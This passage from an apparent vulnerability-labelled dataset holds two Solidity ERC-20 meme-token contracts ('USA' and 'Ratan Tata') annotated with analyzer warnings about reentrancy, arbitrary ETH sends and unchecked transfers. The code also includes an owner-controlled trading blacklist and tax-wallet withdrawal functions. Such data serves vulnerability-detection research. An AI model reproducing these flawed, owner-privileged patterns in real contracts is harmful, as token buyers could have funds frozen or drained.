attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: eeae849): USA._maxTaxSwap should be constant \n\t// Recommendation for eeae849: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1b0c93): USA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e1b0c93: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f83c6b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f83c6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ef9e20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ef9e20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3f83c6b\n\t\t// reentrancy-benign | ID: 3ef9e20\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3f83c6b\n\t\t// reentrancy-benign | ID: 3ef9e20\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b07aa91): USA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b07aa91: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3ef9e20\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3f83c6b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ceb3d5e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ceb3d5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 86d5eb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 86d5eb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ceb3d5e\n\t\t\t\t// reentrancy-eth | ID: 86d5eb0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ceb3d5e\n\t\t\t\t\t// reentrancy-eth | ID: 86d5eb0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 86d5eb0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 86d5eb0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 86d5eb0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ceb3d5e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 86d5eb0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 86d5eb0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ceb3d5e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3f83c6b\n\t\t// reentrancy-events | ID: ceb3d5e\n\t\t// reentrancy-benign | ID: 3ef9e20\n\t\t// reentrancy-eth | ID: 86d5eb0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7b90801): USA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7b90801: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3f83c6b\n\t\t// reentrancy-events | ID: ceb3d5e\n\t\t// reentrancy-eth | ID: 86d5eb0\n\t\t// arbitrary-send-eth | ID: 7b90801\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 962b473): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 962b473: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 378b775): USA.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 378b775: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b8d575): USA.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4b8d575: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ef1a5a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ef1a5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 962b473\n\t\t// reentrancy-eth | ID: 9ef1a5a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 962b473\n\t\t// unused-return | ID: 4b8d575\n\t\t// reentrancy-eth | ID: 9ef1a5a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 962b473\n\t\t// unused-return | ID: 378b775\n\t\t// reentrancy-eth | ID: 9ef1a5a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 962b473\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9ef1a5a\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a9449a1): USA.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for a9449a1: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: a9449a1\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10175.sol",
"size_bytes": 20781,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract RatanTata is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9245d41): RatanTata._taxWallet should be immutable \n\t// Recommendation for 9245d41: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6b6702): RatanTata._initialBuyTax should be constant \n\t// Recommendation for e6b6702: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: aad1228): RatanTata._initialSellTax should be constant \n\t// Recommendation for aad1228: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d5f558): RatanTata._reduceBuyTaxAt should be constant \n\t// Recommendation for 4d5f558: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a11bca7): RatanTata._reduceSellTaxAt should be constant \n\t// Recommendation for a11bca7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: c28bd1c): RatanTata._preventSwapBefore should be constant \n\t// Recommendation for c28bd1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ratan Tata\";\n\n string private constant _symbol = unicode\"TATA\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e060afb): RatanTata._taxSwapThreshold should be constant \n\t// Recommendation for e060afb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 740e8ff): RatanTata._maxTaxSwap should be constant \n\t// Recommendation for 740e8ff: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8bf65c6): RatanTata.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8bf65c6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 58e3f18): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 58e3f18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8f7d550): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8f7d550: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 58e3f18\n\t\t// reentrancy-benign | ID: 8f7d550\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 58e3f18\n\t\t// reentrancy-benign | ID: 8f7d550\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a1e4532): RatanTata._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a1e4532: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8f7d550\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 58e3f18\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e62602d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e62602d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a7206f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a7206f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e62602d\n\t\t\t\t// reentrancy-eth | ID: a7206f3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e62602d\n\t\t\t\t\t// reentrancy-eth | ID: a7206f3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a7206f3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a7206f3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a7206f3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e62602d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a7206f3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a7206f3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e62602d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e62602d\n\t\t// reentrancy-events | ID: 58e3f18\n\t\t// reentrancy-benign | ID: 8f7d550\n\t\t// reentrancy-eth | ID: a7206f3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8b962c6): RatanTata.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8b962c6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e62602d\n\t\t// reentrancy-events | ID: 58e3f18\n\t\t// reentrancy-eth | ID: a7206f3\n\t\t// arbitrary-send-eth | ID: 8b962c6\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a4c06ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a4c06ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 84b7e67): RatanTata.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 84b7e67: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a7ab479): RatanTata.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a7ab479: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: aa10a70): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for aa10a70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a4c06ce\n\t\t// reentrancy-eth | ID: aa10a70\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a4c06ce\n\t\t// unused-return | ID: 84b7e67\n\t\t// reentrancy-eth | ID: aa10a70\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a4c06ce\n\t\t// unused-return | ID: a7ab479\n\t\t// reentrancy-eth | ID: aa10a70\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a4c06ce\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: aa10a70\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2d2600d): RatanTata.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 2d2600d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 2d2600d\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10176.sol",
"size_bytes": 20248,
"vulnerability": 4
} |
{
